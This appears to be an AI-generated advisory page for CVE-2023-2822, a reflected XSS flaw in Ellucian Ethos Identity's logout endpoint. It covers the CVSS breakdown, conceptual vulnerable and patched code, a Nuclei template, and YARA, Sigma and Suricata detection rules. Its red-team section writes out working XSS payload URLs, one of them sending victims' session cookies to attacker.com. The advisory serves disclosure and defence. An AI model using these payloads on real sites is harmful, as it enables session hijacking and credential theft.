CVE-2023-2822
Executive Summary
CVE-2023-2822 is a reflected Cross-Site Scripting (XSS) vulnerability in Ellucian Ethos Identity, specifically within the /cas/logout endpoint. The vulnerability allows an attacker to inject arbitrary JavaScript into the url parameter, which is reflected back to the user without proper sanitization. This can lead to session hijacking, credential theft, or defacement. The vulnerability affects versions up to 5.10.5, and a patch is available in version 5.10.6. Public proof-of-concept (PoC) code and a Nuclei template are available, increasing the risk of exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise identity management product. No supply chain compromise is involved.
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: Required (UI:R) – Victim must click a crafted link.
- Scope: Changed (S:C) – Impact extends beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure.
- Integrity Impact: Low (I:L) – Limited modification of content.
- Availability Impact: None (A:N) – No denial of service.
- EPSS Score: 0.83672 (99.29th percentile) – High probability of exploitation in the wild.
Deep Dive & Mechanics
The vulnerability resides in the /cas/logout endpoint of Ellucian Ethos Identity. The url parameter is used to redirect the user after logout. However, the application fails to properly validate or encode the input, allowing an attacker to inject arbitrary HTML and JavaScript.
Attack Flow:
- An attacker crafts a malicious URL:
https://target.com/cas/logout?url=https://attacker.com"><img src=x onerror=alert(document.domain)> - The victim is tricked into clicking the link (e.g., via phishing email).
- The server reflects the injected payload in the response without sanitization.
- The victim's browser executes the malicious script in the context of the Ethos Identity domain.
- The attacker can then steal session cookies, perform actions on behalf of the victim, or redirect to a phishing page.
Root Cause: Lack of output encoding on the url parameter before reflection in the HTTP response.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// Vulnerable: Direct reflection of user input
String url = request.getParameter("url");
response.getWriter().write("<a href=\"" + url + "\">Continue</a>");
Patched Code (Conceptual):
// Patched: Input validation and output encoding
String url = request.getParameter("url");
if (url != null && url.startsWith("https://trusted-domain.com")) {
response.getWriter().write("<a href=\"" + StringEscapeUtils.escapeHtml4(url) + "\">Continue</a>");
} else {
response.getWriter().write("<a href=\"/\">Continue</a>");
}
The patch in version 5.10.6 likely implements proper input validation (e.g., whitelist of allowed redirect URLs) and output encoding (e.g., HTML entity encoding).
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target running Ellucian Ethos Identity < 5.10.6.
- A listener to capture exfiltrated data (e.g., Burp Collaborator, webhook.site).
Exploit Steps:
- Craft the malicious URL:
https://target.com/cas/logout?url=https://oast.pro"><img%20src=x%20onerror=alert(document.domain)> - Send the link to the victim via phishing or social engineering.
- When the victim clicks, the XSS triggers. For session hijacking, use a payload like:
https://target.com/cas/logout?url=https://oast.pro"><img%20src=x%20onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)> - Capture the cookie on your listener.
Nuclei Template (Provided):
id: CVE-2023-2822
info:
name: Ellucian Ethos Identity CAS - Cross-Site Scripting
author: Guax1
severity: medium
description: |
A vulnerability was found in Ellucian Ethos Identity up to 5.10.5. It has been classified as problematic. Affected is an unknown function of the file /cas/logout. The manipulation of the argument url leads to cross site scripting. It is possible to launch the attack remotely.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: Upgrading to version 5.10.6 is able to address this issue. It is recommended to upgrade the affected component.
reference:
- https://medium.com/@cyberninja717/685bb1675dfb
- https://medium.com/@cyberninja717/reflected-cross-site-scripting-vulnerability-in-ellucian-ethos-identity-cas-logout-page-685bb1675dfb
- https://vuldb.com/?ctiid.229596
- https://vuldb.com/?id.229596
- https://github.com/cberman/CVE-2023-2822-demo
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-2822
cwe-id: CWE-79
epss-score: 0.83672
epss-percentile: 0.99292
cpe: cpe:2.3:a:ellucian:ethos_identity:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: ellucian
product: ethos_identity
shodan-query:
- html:"Ellucian Company"
- http.html:"ellucian company"
fofa-query: body="ellucian company"
google-query: "login with ellucian ethos identity"
tags: cve2023,cve,cas,xss,ellucian,vuln
http:
- method: GET
path:
- '{{BaseURL}}/cas/logout?url=https://oast.pro"><img%20src=x%20onerror=alert(document.domain)>'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<img src=x onerror=alert(document.domain)>'
- 'Identity Server'
condition: and
- type: status
status:
- 200
Blue Team
Detection:
- Monitor web server logs for requests to
/cas/logoutwith suspiciousurlparameters containing HTML tags or JavaScript. - Use the provided YARA/Sigma rules to detect exploitation attempts.
Hunting:
- Search for logs containing patterns like
url=*<scriptorurl=*onerror. - Check for outbound connections to unknown domains shortly after
/cas/logoutrequests.
Lab Setup:
- Deploy a vulnerable instance of Ellucian Ethos Identity (version 5.10.5 or earlier) in an isolated environment.
- Use a web application firewall (WAF) to test detection rules.
Indicators of Compromise (IOCs)
- Network:
- HTTP GET requests to
/cas/logoutwithurlparameter containing HTML/JavaScript. - Outbound connections to attacker-controlled domains (e.g.,
oast.pro,attacker.com).
- HTTP GET requests to
- Host:
- Web server logs showing
urlparameter with<script>,<img onerror=, or similar patterns. - Presence of unexpected cookies or session tokens in logs.
- Web server logs showing
- File:
- No specific file-based IOCs; this is a server-side reflection vulnerability.
Detection Engineering
YARA Rule
rule CVE_2023_2822_XSS_Detection {
meta:
description = "Detects reflected XSS attempts against Ellucian Ethos Identity /cas/logout"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-2822"
strings:
$xss_pattern1 = /\/cas\/logout\?url=.*<script/i
$xss_pattern2 = /\/cas\/logout\?url=.*onerror/i
$xss_pattern3 = /\/cas\/logout\?url=.*onload/i
$xss_pattern4 = /\/cas\/logout\?url=.*alert\(/i
condition:
any of them
}
Sigma Rule
title: CVE-2023-2822 Reflected XSS in Ellucian Ethos Identity
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts against the /cas/logout endpoint.
author: Valters IT
date: 2025/04/10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2023-2822
- https://github.com/cberman/CVE-2023-2822-demo
logsource:
category: webserver
product: apache
service: http
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- '/cas/logout?url='
cs-uri-query|re:
- '<script'
- 'onerror='
- 'onload='
- 'alert('
condition: selection
falsepositives:
- Legitimate redirect URLs containing similar patterns (rare)
level: high
tags:
- attack.t1190
- cve.2023.2822
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2023-2822 Reflected XSS in Ellucian Ethos Identity";
flow:to_server,established;
content:"GET"; http_method;
content:"/cas/logout"; http_uri;
content:"url="; http_uri;
pcre:"/(<script|onerror=|onload=|alert\()/i";
reference:cve,2023-2822;
classtype:web-application-attack;
sid:10000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Apply the vendor patch by upgrading to Ellucian Ethos Identity version 5.10.6 or later.
- WAF Rules: Deploy a Web Application Firewall rule to block requests to
/cas/logoutwith suspiciousurlparameters. - Input Validation: If patching is delayed, implement a reverse proxy that validates the
urlparameter against a whitelist of allowed domains.
Long-Term Measures:
- Enforce strict output encoding for all user-controlled input reflected in responses.
- Conduct regular security audits and penetration testing on identity management systems.
- Monitor for similar vulnerabilities in other CAS (Central Authentication Service) implementations.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact Secure Channels (Signal / Portal).
{/* [Security Hash: 180F8889009C4DAA06F35067] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.